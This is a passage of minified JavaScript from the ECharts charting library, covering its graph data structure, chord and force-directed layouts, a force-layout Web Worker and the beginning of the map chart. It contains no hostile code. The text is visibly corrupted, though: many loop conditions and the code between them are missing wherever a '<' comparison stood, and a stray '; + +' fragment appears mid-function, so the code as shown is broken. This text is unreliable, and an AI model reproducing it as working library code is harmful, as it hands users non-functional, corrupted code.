e>=i.x&&e<=i.x+i.width&&t>=i.y&&t<=i.y+i.height?o.isInsidePath(this._pathProxy.pathCommands,0,"fill",e,t):void 0}},a.inherits(t,i),t}),i("echarts/data/Graph",["require","zrender/tool/util"],function(e){var t=e("zrender/tool/util"),i=function(e){this._directed=e||!1,this.nodes=[],this.edges=[],this._nodesMap={},this._edgesMap={}};i.prototype.isDirected=function(){return this._directed},i.prototype.addNode=function(e,t){if(this._nodesMap[e])return this._nodesMap[e];var n=new i.Node(e,t);return this.nodes.push(n),this._nodesMap[e]=n,n},i.prototype.getNodeById=function(e){return this._nodesMap[e]},i.prototype.addEdge=function(e,t,n){if("string"==typeof e&&(e=this._nodesMap[e]),"string"==typeof t&&(t=this._nodesMap[t]),e&&t){var a=e.id+"-"+t.id;if(this._edgesMap[a])return this._edgesMap[a];var o=new i.Edge(e,t,n);return this._directed&&(e.outEdges.push(o),t.inEdges.push(o)),e.edges.push(o),e!==t&&t.edges.push(o),this.edges.push(o),this._edgesMap[a]=o,o}},i.prototype.removeEdge=function(e){var i=e.node1,n=e.node2,a=i.id+"-"+n.id;this._directed&&(i.outEdges.splice(t.indexOf(i.outEdges,e),1),n.inEdges.splice(t.indexOf(n.inEdges,e),1)),i.edges.splice(t.indexOf(i.edges,e),1),i!==n&&n.edges.splice(t.indexOf(n.edges,e),1),delete this._edgesMap[a],this.edges.splice(t.indexOf(this.edges,e),1)},i.prototype.getEdge=function(e,t){return"string"!=typeof e&&(e=e.id),"string"!=typeof t&&(t=t.id),this._directed?this._edgesMap[e+"-"+t]:this._edgesMap[e+"-"+t]||this._edgesMap[t+"-"+e]},i.prototype.removeNode=function(e){if("string"!=typeof e||(e=this._nodesMap[e])){delete this._nodesMap[e.id],this.nodes.splice(t.indexOf(this.nodes,e),1);for(var i=0;in;)e.call(t,this.nodes[n],n)?n++:(this.removeNode(this.nodes[n]),i--)},i.prototype.filterEdge=function(e,t){for(var i=this.edges.length,n=0;i>n;)e.call(t,this.edges[n],n)?n++:(this.removeEdge(this.edges[n]),i--)},i.prototype.eachNode=function(e,t){for(var i=this.nodes.length,n=0;i>n;n++)this.nodes[n]&&e.call(t,this.nodes[n],n)},i.prototype.eachEdge=function(e,t){for(var i=this.edges.length,n=0;i>n;n++)this.edges[n]&&e.call(t,this.edges[n],n)},i.prototype.clear=function(){this.nodes.length=0,this.edges.length=0,this._nodesMap={},this._edgesMap={}},i.prototype.breadthFirstTraverse=function(e,t,i,n){if("string"==typeof t&&(t=this._nodesMap[t]),t){var a="edges";"out"===i?a="outEdges":"in"===i&&(a="inEdges");for(var o=0;or;r++){var s=o.addNode(e[r].id,e[r]);s.data.value=0,n&&(s.data.outValue=s.data.inValue=0)}for(var r=0;a>r;r++)for(var l=0;a>l;l++){var h=t[r][l];n&&(o.nodes[r].data.outValue+=h,o.nodes[l].data.inValue+=h),o.nodes[r].data.value+=h,o.nodes[l].data.value+=h}for(var r=0;a>r;r++)for(var l=r;a>l;l++){var h=t[r][l];if(0!==h){var m=o.nodes[r],V=o.nodes[l],U=o.addEdge(m,V,{});if(U.data.weight=h,r!==l&&n&&t[l][r]){var d=o.addEdge(V,m,{});d.data.weight=t[l][r]}}}return o}},i}),i("echarts/layout/Chord",["require"],function(){var e=function(e){e=e||{},this.sort=e.sort||null,this.sortSub=e.sortSub||null,this.padding=.05,this.startAngle=e.startAngle||0,this.clockWise=null==e.clockWise?!1:e.clockWise,this.center=e.center||[0,0],this.directed=!0};e.prototype.run=function(e){e instanceof Array||(e=[e]);var n=e.length;if(n){for(var a=e[0],o=a.nodes.length,r=[],s=0,l=0;o>l;l++){var h=a.nodes[l],m={size:0,subGroups:[],node:h};r.push(m);for(var V=0,U=0;Ul;l++){var m=r[l];m.node.layout.startAngle=f,m.node.layout.endAngle=f+k*m.size*b,m.node.layout.subGroups=[];for(var u=0;un;n++){var o=i[n];if(o.type===d.CHART_TYPE_FORCE){if(i[n]=this.reformOption(i[n]),e=i[n].name||"",this.selectedMap[e]=t?t.isSelected(e):!0,!this.selectedMap[e])continue;this.buildMark(n),this._initSerie(o,n);break}}this.animationEffect()},_getNodeCategory:function(e,t){return e.categories&&e.categories[t.category||0]},_getNodeQueryTarget:function(e,t,i){i=i||"normal";var n=this._getNodeCategory(e,t)||{};return[t.itemStyle&&t.itemStyle[i],n&&n.itemStyle&&n.itemStyle[i],e.itemStyle[i].nodeStyle]},_getEdgeQueryTarget:function(e,t,i){return i=i||"normal",[t.itemStyle&&t.itemStyle[i],e.itemStyle[i].linkStyle]},_initSerie:function(e,t){this._temperature=1,e.matrix?this._graph=this._getSerieGraphFromDataMatrix(e):e.links&&(this._graph=this._getSerieGraphFromNodeLinks(e)),this._buildLinkShapes(e,t),this._buildNodeShapes(e,t);var i=e.roam===!0||"move"===e.roam,n=e.roam===!0||"scale"===e.roam;this.zr.modLayer(this.getZlevelBase(),{panable:i,zoomable:n}),(this.query("markPoint.effect.show")||this.query("markLine.effect.show"))&&this.zr.modLayer(d.EFFECT_ZLEVEL,{panable:i,zoomable:n}),this._initLayout(e),this._step()},_getSerieGraphFromDataMatrix:function(e){for(var t=[],i=0,n=[],a=0;an;n++){var o=i[n];if(o&&!o.ignore){var r=this._getNodeCategory(e,o),l=r?r.name:o.name;if(this.selectedMap[l]=this.isSelected(l),this.selectedMap[l]){var h=t.addNode(o.name,o);h.rawIndex=n}}}for(var n=0,a=e.links.length;a>n;n++){var m=e.links[n],V=m.source,U=m.target;"number"==typeof V&&(V=i[V],V&&(V=V.name)),"number"==typeof U&&(U=i[U],U&&(U=U.name));var d=t.addEdge(V,U,m);d&&(d.rawIndex=n)}return t.eachNode(function(e){var t=e.data.value;if(null==t){t=0;for(var i=0;ih;h++){var m=t.nodes[h];l=Math.max(m.layout.size,l),s=Math.min(m.layout.size,s)}for(var V=l-s,h=0;i>h;h++){var m=t.nodes[h];V>0?(m.layout.size=(m.layout.size-s)*(a-n)/V+n,m.layout.mass=m.layout.size/a):(m.layout.size=(a-n)/2,m.layout.mass=.5)}for(var h=0;i>h;h++){var m=t.nodes[h];if("undefined"!=typeof this.__nodePositionMap[m.id])m.layout.position=y.create(),y.copy(m.layout.position,this.__nodePositionMap[m.id]);else if("undefined"!=typeof m.data.initial)m.layout.position=y.create(),y.copy(m.layout.position,m.data.initial);else{var U=this._layout.center,d=Math.min(this._layout.width,this._layout.height);m.layout.position=o(U[0],U[1],.8*d)}var p=m.shape.style,c=m.layout.size;p.width=p.width||2*c,p.height=p.height||2*c,p.x=-p.width/2,p.y=-p.height/2,y.copy(m.shape.position,m.layout.position)}i=t.edges.length,l=-(1/0);for(var h=0;i>h;h++){var u=t.edges[h];u.layout.weight>l&&(l=u.layout.weight)}for(var h=0;i>h;h++){var u=t.edges[h];u.layout.weight/=l}this._layout.init(t,e.useWorker)},_buildNodeShapes:function(e,t){var i=this._graph,n=this.query(e,"categories");i.eachNode(function(i){var a=this._getNodeCategory(e,i.data),o=[i.data,a,e],r=this._getNodeQueryTarget(e,i.data),s=this._getNodeQueryTarget(e,i.data,"emphasis"),l=new U({style:{x:0,y:0,color:this.deepQuery(r,"color"),brushType:"both",strokeColor:this.deepQuery(r,"strokeColor")||this.deepQuery(r,"borderColor"),lineWidth:this.deepQuery(r,"lineWidth")||this.deepQuery(r,"borderWidth")},highlightStyle:{color:this.deepQuery(s,"color"),strokeColor:this.deepQuery(s,"strokeColor")||this.deepQuery(s,"borderColor"),lineWidth:this.deepQuery(s,"lineWidth")||this.deepQuery(s,"borderWidth")},clickable:e.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()});l.style.color||(l.style.color=this.getColor(a?a.name:i.id)),l.style.iconType=this.deepQuery(o,"symbol");var h=this.deepQuery(o,"symbolSize")||0;"number"==typeof h&&(h=[h,h]),l.style.width=2*h[0],l.style.height=2*h[1],l.style.iconType.match("image")&&(l.style.image=l.style.iconType.replace(new RegExp("^image:\\/\\/"),""),l=new V({style:l.style,highlightStyle:l.highlightStyle,clickable:l.clickable,zlevel:this.getZlevelBase(),z:this.getZBase()})),this.deepQuery(o,"itemStyle.normal.label.show")&&(l.style.text=null==i.data.label?i.id:i.data.label,l.style.textPosition=this.deepQuery(o,"itemStyle.normal.label.position"),l.style.textColor=this.deepQuery(o,"itemStyle.normal.label.textStyle.color"),l.style.textFont=this.getFont(this.deepQuery(o,"itemStyle.normal.label.textStyle")||{})),this.deepQuery(o,"itemStyle.emphasis.label.show")&&(l.highlightStyle.textPosition=this.deepQuery(o,"itemStyle.emphasis.label.position"),l.highlightStyle.textColor=this.deepQuery(o,"itemStyle.emphasis.label.textStyle.color"),l.highlightStyle.textFont=this.getFont(this.deepQuery(o,"itemStyle.emphasis.label.textStyle")||{})),this.deepQuery(o,"draggable")&&(this.setCalculable(l),l.dragEnableTime=0,l.draggable=!0,l.ondragstart=this.shapeHandler.ondragstart,l.ondragover=null);var m="";if("undefined"!=typeof i.category){var a=n[i.category];m=a&&a.name||""}p.pack(l,e,t,i.data,i.rawIndex,i.data.name||"",i.category),this.shapeList.push(l),this.zr.addShape(l),i.shape=l},this)},_buildLinkShapes:function(e,t){for(var i=this._graph,n=i.edges.length,a=0;n>a;a++){var o=i.edges[a],r=o.data,s=o.node1,l=o.node2,V=i.getEdge(l,s),d=this._getEdgeQueryTarget(e,r),u=this.deepQuery(d,"type");e.linkSymbol&&"none"!==e.linkSymbol&&(u="line");var y="line"===u?h:m,g=new y({style:{xStart:0,yStart:0,xEnd:0,yEnd:0},clickable:this.query(e,"clickable"),highlightStyle:{},zlevel:this.getZlevelBase(),z:this.getZBase()});if(V&&V.shape&&(g.style.offset=4,V.shape.style.offset=4),c.merge(g.style,this.query(e,"itemStyle.normal.linkStyle"),!0),c.merge(g.highlightStyle,this.query(e,"itemStyle.emphasis.linkStyle"),!0),"undefined"!=typeof r.itemStyle&&(r.itemStyle.normal&&c.merge(g.style,r.itemStyle.normal,!0),r.itemStyle.emphasis&&c.merge(g.highlightStyle,r.itemStyle.emphasis,!0)),g.style.lineWidth=g.style.lineWidth||g.style.width,g.style.strokeColor=g.style.strokeColor||g.style.color,g.highlightStyle.lineWidth=g.highlightStyle.lineWidth||g.highlightStyle.width,g.highlightStyle.strokeColor=g.highlightStyle.strokeColor||g.highlightStyle.color,p.pack(g,e,t,o.data,null==o.rawIndex?a:o.rawIndex,o.data.name||s.id+" - "+l.id,s.id,l.id),this.shapeList.push(g),this.zr.addShape(g),o.shape=g,e.linkSymbol&&"none"!==e.linkSymbol){var b=new U({style:{x:-5,y:0,width:e.linkSymbolSize[0],height:e.linkSymbolSize[1],iconType:e.linkSymbol,brushType:"fill",color:g.style.strokeColor},highlightStyle:{brushType:"fill"},position:[0,0],rotation:0,zlevel:this.getZlevelBase(),z:this.getZBase()});g._symbolShape=b,this.shapeList.push(b),this.zr.addShape(b)}}},_updateLinkShapes:function(){for(var e=y.create(),t=y.create(),i=y.create(),n=y.create(),a=this._graph.edges,o=0,r=a.length;r>o;o++){var s=a[o],l=s.node1.shape,h=s.node2.shape;y.copy(i,l.position),y.copy(n,h.position);var m=s.shape.style;if(y.sub(e,i,n),y.normalize(e,e),m.offset?(t[0]=e[1],t[1]=-e[0],y.scaleAndAdd(i,i,t,m.offset),y.scaleAndAdd(n,n,t,m.offset)):"bezier-curve"===s.shape.type&&(m.cpX1=(i[0]+n[0])/2-(n[1]-i[1])/4,m.cpY1=(i[1]+n[1])/2-(i[0]-n[0])/4),m.xStart=i[0],m.yStart=i[1],m.xEnd=n[0],m.yEnd=n[1],s.shape.modSelf(),s.shape._symbolShape){var V=s.shape._symbolShape;y.copy(V.position,n),y.scaleAndAdd(V.position,V.position,e,h.style.width/2+2);var U=Math.atan2(e[1],e[0]);V.rotation=Math.PI/2-U,V.modSelf()}}},_syncNodePositions:function(){for(var e=this._graph,t=0;t.01?this._layout.step(this._steps):this.messageCenter.dispatch(d.EVENT.FORCE_LAYOUT_END,{},{},this.myChart)},refresh:function(e){if(e&&(this.option=e,this.series=this.option.series),this.legend=this.component.legend,this.legend)this.getColor=function(e){return this.legend.getColor(e)},this.isSelected=function(e){return this.legend.isSelected(e)};else{var t={},i=0;this.getColor=function(e){return t[e]?t[e]:(t[e]||(t[e]=this.zr.getColor(i++)),t[e])},this.isSelected=function(){return!0}}this._init()},dispose:function(){this.clear(),this.shapeList=null,this.effectList=null,this._layout.dispose(),this._layout=null,this.__nodePositionMap={}},getPosition:function(){var e=[];return this._graph.eachNode(function(t){t.layout&&e.push({name:t.data.name,position:Array.prototype.slice.call(t.layout.position)})}),e}},c.inherits(t,r),e("../chart").define("force",t),t}),i("echarts/layout/Force",["require","./forceLayoutWorker","zrender/tool/vector"],function(e){function t(){if("undefined"!=typeof Worker&&"undefined"!=typeof Blob)try{var e=new Blob([n.getWorkerCode()]);i=window.URL.createObjectURL(e)}catch(t){i=""}return i}var i,n=e("./forceLayoutWorker"),a=e("zrender/tool/vector"),o=window.requestAnimationFrame||window.msRequestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||function(e){setTimeout(e,16)},r="undefined"==typeof Float32Array?Array:Float32Array,s=function(e){"undefined"==typeof i&&t(),e=e||{},this.width=e.width||500,this.height=e.height||500,this.center=e.center||[this.width/2,this.height/2],this.ratioScaling=e.ratioScaling||!1,this.scaling=e.scaling||1,this.gravity="undefined"!=typeof e.gravity?e.gravity:1,this.large=e.large||!1,this.preventNodeOverlap=e.preventNodeOverlap||!1,this.preventNodeEdgeOverlap=e.preventNodeEdgeOverlap||!1,this.maxSpeedIncrease=e.maxSpeedIncrease||1,this.onupdate=e.onupdate||function(){},this.temperature=e.temperature||1,this.coolDown=e.coolDown||.99,this._layout=null,this._layoutWorker=null;var n=this,a=this._$onupdate;this._$onupdate=function(e){a.call(n,e)}};return s.prototype.updateConfig=function(){var e=this.width,t=this.height,i=Math.min(e,t),n={center:this.center,width:this.ratioScaling?e:i,height:this.ratioScaling?t:i,scaling:this.scaling||1,gravity:this.gravity||1,barnesHutOptimize:this.large,preventNodeOverlap:this.preventNodeOverlap,preventNodeEdgeOverlap:this.preventNodeEdgeOverlap,maxSpeedIncrease:this.maxSpeedIncrease};if(this._layoutWorker)this._layoutWorker.postMessage({cmd:"updateConfig",config:n});else for(var a in n)this._layout[a]=n[a]},s.prototype.init=function(e,t){if(this._layoutWorker&&(this._layoutWorker.terminate(),this._layoutWorker=null),i&&t)try{this._layoutWorker||(this._layoutWorker=new Worker(i),this._layoutWorker.onmessage=this._$onupdate),this._layout=null}catch(a){this._layoutWorker=null,this._layout||(this._layout=new n)}else this._layout||(this._layout=new n);this.temperature=1,this.graph=e;for(var o=e.nodes.length,s=new r(2*o),l=new r(o),h=new r(o),m=0;o>m;m++){var V=e.nodes[m];s[2*m]=V.layout.position[0],s[2*m+1]=V.layout.position[1],l[m]="undefined"==typeof V.layout.mass?1:V.layout.mass,h[m]="undefined"==typeof V.layout.size?1:V.layout.size,V.layout.__index=m}o=e.edges.length;for(var U=new r(2*o),d=new r(o),m=0;o>m;m++){var p=e.edges[m];U[2*m]=p.node1.layout.__index,U[2*m+1]=p.node2.layout.__index,d[m]=p.layout.weight||1}this._layoutWorker?this._layoutWorker.postMessage({cmd:"init",nodesPosition:s,nodesMass:l,nodesSize:h,edges:U,edgesWeight:d}):(this._layout.initNodes(s,l,h),this._layout.initEdges(U,d)),this.updateConfig()},s.prototype.step=function(e){var t=this.graph.nodes;if(this._layoutWorker){for(var i=new r(2*t.length),n=0;nn;n++)this.temperature*=this.coolDown}else{o(this._$onupdate);for(var n=0;nn;n++)this._layout.temperature=this.temperature,this._layout.update(),this.temperature*=this.coolDown}},s.prototype._$onupdate=function(e){if(this._layoutWorker){for(var t=new Float32Array(e.data),i=0;i0&&(a=1/Math.sqrt(a),e[0]=t[0]*a,e[1]=t[1]*a),e},negate:function(e,t){return e[0]=-t[0],e[1]=-t[1],e},copy:function(e,t){return e[0]=t[0],e[1]=t[1],e},set:function(e,t,i){return e[0]=t,e[1]=i,e}}:e("zrender/tool/vector");var l="undefined"==typeof Float32Array?Array:Float32Array;if(t.prototype.beforeUpdate=function(){for(var e=0;e=e&&this.bbox[1]<=t&&this.bbox[3]>=t},t.prototype.setBBox=function(e,t,i,n){this.bbox[0]=e,this.bbox[1]=t,this.bbox[2]=i,this.bbox[3]=n,this.size=(i-e+n-t)/2},t.prototype._newSubRegion=function(){var e=this.subRegions[this.nSubRegions];return e||(e=new t,this.subRegions[this.nSubRegions]=e),this.nSubRegions++,e},t.prototype._addNodeToSubRegion=function(e){var t=this.findSubRegion(e.position[0],e.position[1]),i=this.bbox;if(!t){var n=(i[0]+i[2])/2,a=(i[1]+i[3])/2,o=(i[2]-i[0])/2,r=(i[3]-i[1])/2,s=e.position[0]>=n?1:0,l=e.position[1]>=a?1:0,t=this._newSubRegion();t.setBBox(s*o+i[0],l*r+i[1],(s+1)*o+i[0],(l+1)*r+i[1])}t.addNode(e)},t.prototype._updateCenterOfMass=function(e){null==this.centerOfMass&&(this.centerOfMass=r.create());var t=this.centerOfMass[0]*this.mass,i=this.centerOfMass[1]*this.mass;t+=e.position[0]*e.mass,i+=e.position[1]*e.mass,this.mass+=e.mass,this.centerOfMass[0]=t/this.mass,this.centerOfMass[1]=i/this.mass},a.prototype.nodeToNodeRepulsionFactor=function(e,t,i){return i*i*e/t},a.prototype.edgeToNodeRepulsionFactor=function(e,t,i){return i*e/t},a.prototype.attractionFactor=function(e,t,i){return e*t/i},a.prototype.initNodes=function(e,t,n){this.temperature=1;var a=e.length/2;this.nodes.length=0;for(var o="undefined"!=typeof n,r=0;a>r;r++){var s=new i;s.position[0]=e[2*r],s.position[1]=e[2*r+1],s.mass=t[r],o&&(s.size=n[r]),this.nodes.push(s)}this._massArr=t,o&&(this._sizeArr=n)},a.prototype.initEdges=function(e,t){var i=e.length/2;this.edges.length=0;for(var a="undefined"!=typeof t,o=0;i>o;o++){var r=e[2*o],s=e[2*o+1],l=this.nodes[r],h=this.nodes[s];if(l&&h){l.outDegree++,h.inDegree++;var m=new n(l,h);a&&(m.weight=t[o]),this.edges.push(m)}}},a.prototype.update=function(){var e=this.nodes.length;if(this.updateBBox(),this._k=.4*this.scaling*Math.sqrt(this.width*this.height/e),this.barnesHutOptimize){this._rootRegion.setBBox(this.bbox[0],this.bbox[1],this.bbox[2],this.bbox[3]),this._rootRegion.beforeUpdate();for(var t=0;e>t;t++)this._rootRegion.addNode(this.nodes[t]);this._rootRegion.afterUpdate()}else{var i=0,n=this._rootRegion.centerOfMass;r.set(n,0,0);for(var t=0;e>t;t++){var a=this.nodes[t];i+=a.mass,r.scaleAndAdd(n,n,a.position,a.mass); + +}i>0&&r.scale(n,n,1/i)}this.updateForce(),this.updatePosition()},a.prototype.updateForce=function(){for(var e=this.nodes.length,t=0;e>t;t++){var i=this.nodes[t];r.copy(i.forcePrev,i.force),r.copy(i.speedPrev,i.speed),r.set(i.force,0,0)}this.updateNodeNodeForce(),this.gravity>0&&this.updateGravityForce(),this.updateEdgeForce(),this.preventNodeEdgeOverlap&&this.updateNodeEdgeForce()},a.prototype.updatePosition=function(){for(var e=this.nodes.length,t=r.create(),i=0;e>i;i++){var n=this.nodes[i],a=n.speed;r.scale(n.force,n.force,1/30);var o=r.len(n.force)+.1,s=Math.min(o,500)/o;r.scale(n.force,n.force,s),r.add(a,a,n.force),r.scale(a,a,this.temperature),r.sub(t,a,n.speedPrev);var l=r.len(t);if(l>0){r.scale(t,t,1/l);var h=r.len(n.speedPrev);h>0&&(l=Math.min(l/h,this.maxSpeedIncrease)*h,r.scaleAndAdd(a,n.speedPrev,t,l))}var m=r.len(a),s=Math.min(m,100)/(m+.1);r.scale(a,a,s),r.add(n.position,n.position,a)}},a.prototype.updateNodeNodeForce=function(){for(var e=this.nodes.length,t=0;e>t;t++){var i=this.nodes[t];if(this.barnesHutOptimize)this.applyRegionToNodeRepulsion(this._rootRegion,i);else for(var n=t+1;e>n;n++){var a=this.nodes[n];this.applyNodeToNodeRepulsion(i,a,!1)}}},a.prototype.updateGravityForce=function(){for(var e=0;ethis.barnesHutTheta*t.size*t.size){var a=this._k*this._k*(i.mass+t.mass)/(n+1);r.scaleAndAdd(i.force,i.force,e,2*a)}else for(var o=0;o0?o=this.nodeToNodeRepulsionFactor(s,l,this._k):0>=l&&(o=this._k*this._k*10*s)):o=this.nodeToNodeRepulsionFactor(s,l,this._k),n||r.scaleAndAdd(t.force,t.force,e,2*o),r.scaleAndAdd(i.force,i.force,e,2*-o)}}}}(),a.prototype.applyEdgeAttraction=function(){var e=r.create();return function(t){var i=t.node1,n=t.node2;r.sub(e,i.position,n.position);var a,o=r.len(e);a=0===this.edgeWeightInfluence?1:1==this.edgeWeightInfluence?t.weight:Math.pow(t.weight,this.edgeWeightInfluence);var s;if(!(this.preventOverlap&&(o=o-i.size-n.size,0>=o))){var s=this.attractionFactor(a,o,this._k);r.scaleAndAdd(i.force,i.force,e,-s),r.scaleAndAdd(n.force,n.force,e,s)}}}(),a.prototype.applyNodeGravity=function(){var e=r.create();return function(t){r.sub(e,this.center,t.position),this.width>this.height?e[1]*=this.width/this.height:e[0]*=this.height/this.width;var i=r.len(e)/100;this.strongGravity?r.scaleAndAdd(t.force,t.force,e,i*this.gravity*t.mass):r.scaleAndAdd(t.force,t.force,e,this.gravity*t.mass/(i+1))}}(),a.prototype.applyEdgeToNodeRepulsion=function(){var e=r.create(),t=r.create(),i=r.create();return function(n,a){var o=n.node1,s=n.node2;if(o!==a&&s!==a){r.sub(e,s.position,o.position),r.sub(t,a.position,o.position);var l=r.len(e);r.scale(e,e,1/l);var h=r.dot(e,t);if(!(0>h||h>l)){r.scaleAndAdd(i,o.position,e,h);var m=r.dist(i,a.position)-a.size,V=this.edgeToNodeRepulsionFactor(a.mass,Math.max(m,.1),100);r.sub(e,a.position,i),r.normalize(e,e),r.scaleAndAdd(a.force,a.force,e,V),r.scaleAndAdd(o.force,o.force,e,-V),r.scaleAndAdd(s.force,s.force,e,-V)}}}}(),a.prototype.updateBBox=function(){for(var e=1/0,t=1/0,i=-(1/0),n=-(1/0),a=0;an;n++){var o=h.nodes[n];o.position[0]=t[2*n],o.position[1]=t[2*n+1]}}else switch(e.data.cmd){case"init":h||(h=new a),h.initNodes(e.data.nodesPosition,e.data.nodesMass,e.data.nodesSize),h.initEdges(e.data.edges,e.data.edgesWeight);break;case"updateConfig":if(h)for(var r in e.data.config)h[r]=e.data.config[r];break;case"update":var s=e.data.steps;if(h){var i=h.nodes.length,t=new Float32Array(2*i);h.temperature=e.data.temperature;for(var n=0;s>n;n++)h.update(),h.temperature*=e.data.coolDown;for(var n=0;i>n;n++){var o=h.nodes[n];t[2*n]=o.position[0],t[2*n+1]=o.position[1]}self.postMessage(t.buffer,[t.buffer])}else{var l=new Float32Array;self.postMessage(l.buffer,[l.buffer])}}}}return a}),i("echarts/chart/map",["require","./base","zrender/shape/Text","zrender/shape/Path","zrender/shape/Circle","zrender/shape/Rectangle","zrender/shape/Line","zrender/shape/Polygon","zrender/shape/Ellipse","zrender/shape/Image","../component/dataRange","../component/roamController","../layer/heatmap","../config","../util/ecData","zrender/tool/util","zrender/config","zrender/tool/event","../util/mapData/params","../util/mapData/textFixed","../util/mapData/geoCoord","../util/projection/svg","../util/projection/normal","../chart"],function(e){function t(e,t,n,a,o){i.call(this,e,t,n,a,o);var r=this;r._onmousewheel=function(e){return r.__onmousewheel(e)},r._onmousedown=function(e){return r.__onmousedown(e)},r._onmousemove=function(e){return r.__onmousemove(e)},r._onmouseup=function(e){return r.__onmouseup(e)},r._onroamcontroller=function(e){return r.__onroamcontroller(e)},r._ondrhoverlink=function(e){return r.__ondrhoverlink(e)},this._isAlive=!0,this._selectedMode={},this._activeMapType={},this._clickable={},this._hoverable={},this._showLegendSymbol={},this._selected={},this._mapTypeMap={},this._mapDataMap={},this._nameMap={},this._specialArea={},this._refreshDelayTicket,this._mapDataRequireCounter,this._markAnimation=!1,this._hoverLinkMap={},this._roamMap={},this._scaleLimitMap={},this._mx,this._my,this._mousedown,this._justMove,this._curMapType,this.refresh(a),this.zr.on(c.EVENT.MOUSEWHEEL,this._onmousewheel),this.zr.on(c.EVENT.MOUSEDOWN,this._onmousedown),t.bind(U.EVENT.ROAMCONTROLLER,this._onroamcontroller),t.bind(U.EVENT.DATA_RANGE_HOVERLINK,this._ondrhoverlink)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Path"),o=e("zrender/shape/Circle"),r=e("zrender/shape/Rectangle"),s=e("zrender/shape/Line"),l=e("zrender/shape/Polygon"),h=e("zrender/shape/Ellipse"),m=e("zrender/shape/Image");e("../component/dataRange"),e("../component/roamController");var V=e("../layer/heatmap"),U=e("../config");U.map={zlevel:0,z:2,mapType:"china",showLegendSymbol:!0,dataRangeHoverLink:!0,hoverable:!0,clickable:!0,itemStyle:{normal:{borderColor:"rgba(0,0,0,0)",borderWidth:1,areaStyle:{color:"#ccc"},label:{show:!1,textStyle:{color:"rgb(139,69,19)"}}},emphasis:{borderColor:"rgba(0,0,0,0)",borderWidth:1,areaStyle:{color:"rgba(255,215,0,0.8)"},label:{show:!1,textStyle:{color:"rgb(100,0,0)"}}}}};var d=e("../util/ecData"),p=e("zrender/tool/util"),c=e("zrender/config"),u=e("zrender/tool/event"),y=e("../util/mapData/params").params,g=e("../util/mapData/textFixed"),b=e("../util/mapData/geoCoord");return t.prototype={type:U.CHART_TYPE_MAP,_buildShape:function(){var e=this.series;this.selectedMap={},this._activeMapType={};for(var t,i,n,a,o=this.component.legend,r={},s={},l={},h={},m=0,V=e.length;V>m;m++)if(e[m].type==U.CHART_TYPE_MAP&&(e[m]=this.reformOption(e[m]),i=e[m].mapType,s[i]=s[i]||{},s[i][m]=!0,l[i]=l[i]||e[m].mapValuePrecision,this._scaleLimitMap[i]=this._scaleLimitMap[i]||{},e[m].scaleLimit&&p.merge(this._scaleLimitMap[i],e[m].scaleLimit,!0),this._roamMap[i]=e[m].roam||this._roamMap[i],(null==this._hoverLinkMap[i]||this._hoverLinkMap[i])&&(this._hoverLinkMap[i]=e[m].dataRangeHoverLink),this._nameMap[i]=this._nameMap[i]||{},e[m].nameMap&&p.merge(this._nameMap[i],e[m].nameMap,!0),this._activeMapType[i]=!0,e[m].textFixed&&p.merge(g,e[m].textFixed,!0),e[m].geoCoord&&p.merge(b,e[m].geoCoord,!0),this._selectedMode[i]=this._selectedMode[i]||e[m].selectedMode,(null==this._hoverable[i]||this._hoverable[i])&&(this._hoverable[i]=e[m].hoverable),(null==this._clickable[i]||this._clickable[i])&&(this._clickable[i]=e[m].clickable),(null==this._showLegendSymbol[i]||this._showLegendSymbol[i])&&(this._showLegendSymbol[i]=e[m].showLegendSymbol),h[i]=h[i]||e[m].mapValueCalculation,t=e[m].name,this.selectedMap[t]=o?o.isSelected(t):!0,this.selectedMap[t])){r[i]=r[i]||{},n=e[m].data;for(var d=0,c=n.length;c>d;d++){a=this._nameChange(i,n[d].name),r[i][a]=r[i][a]||{seriesIndex:[],valueMap:{},precision:0};for(var u in n[d])"value"!=u?r[i][a][u]=n[d][u]:isNaN(n[d].value)||(null==r[i][a].value&&(r[i][a].value=0),r[i][a].precision=Math.max(this.getPrecision(+n[d].value),r[i][a].precision),r[i][a].value+=+n[d].value,r[i][a].valueMap[m]=+n[d].value);r[i][a].seriesIndex.push(m)}}this._mapDataRequireCounter=0;for(var f in r)this._mapDataRequireCounter++;this._clearSelected(),0===this._mapDataRequireCounter&&(this.clear(),this.zr&&this.zr.delShape(this.lastShapeList),this.lastShapeList=[]);for(var f in r){for(var c in r[f]){"average"==h[f]&&(r[f][c].value/=r[f][c].seriesIndex.length);var k=r[f][c].value;null!=k&&(r[f][c].value=k.toFixed(null==l[f]?r[f][c].precision:l[f])-0)}this._mapDataMap[f]=this._mapDataMap[f]||{},this._mapDataMap[f].mapData?this._mapDataCallback(f,r[f],s[f])(this._mapDataMap[f].mapData):y[f.replace(/\|.*/,"")].getGeoJson&&(this._specialArea[f]=y[f.replace(/\|.*/,"")].specialArea||this._specialArea[f],y[f.replace(/\|.*/,"")].getGeoJson(this._mapDataCallback(f,r[f],s[f])))}},_mapDataCallback:function(t,i,n){var a=this;return function(o){a._isAlive&&null!=a._activeMapType[t]&&(-1!=t.indexOf("|")&&(o=a._getSubMapData(t,o)),a._mapDataMap[t].mapData=o,o.firstChild?(a._mapDataMap[t].rate=1,a._mapDataMap[t].projection=e("../util/projection/svg")):(a._mapDataMap[t].rate=.75,a._mapDataMap[t].projection=e("../util/projection/normal")),a._buildMap(t,a._getProjectionData(t,o,n),i,n),a._buildMark(t,n),--a._mapDataRequireCounter<=0&&(a.addShapeList(),a.zr.refreshNextFrame()),a._buildHeatmap(t))}},_clearSelected:function(){for(var e in this._selected)this._activeMapType[this._mapTypeMap[e]]||(delete this._selected[e],delete this._mapTypeMap[e])},_getSubMapData:function(e,t){for(var i=e.replace(/^.*\|/,""),n=t.features,a=0,o=n.length;o>a;a++)if(n[a].properties&&n[a].properties.name==i){n=n[a],"United States of America"==i&&n.geometry.coordinates.length>1&&(n={geometry:{coordinates:n.geometry.coordinates.slice(5,6),type:n.geometry.type},id:n.id,properties:n.properties,type:n.type});break}return{type:"FeatureCollection",features:[n]}},_getProjectionData:function(e,t,i){var n,a=this._mapDataMap[e].projection,o=[],r=this._mapDataMap[e].bbox||a.getBbox(t,this._specialArea[e]);n=this._mapDataMap[e].hasRoam?this._mapDataMap[e].transform:this._getTransform(r,i,this._mapDataMap[e].rate);var 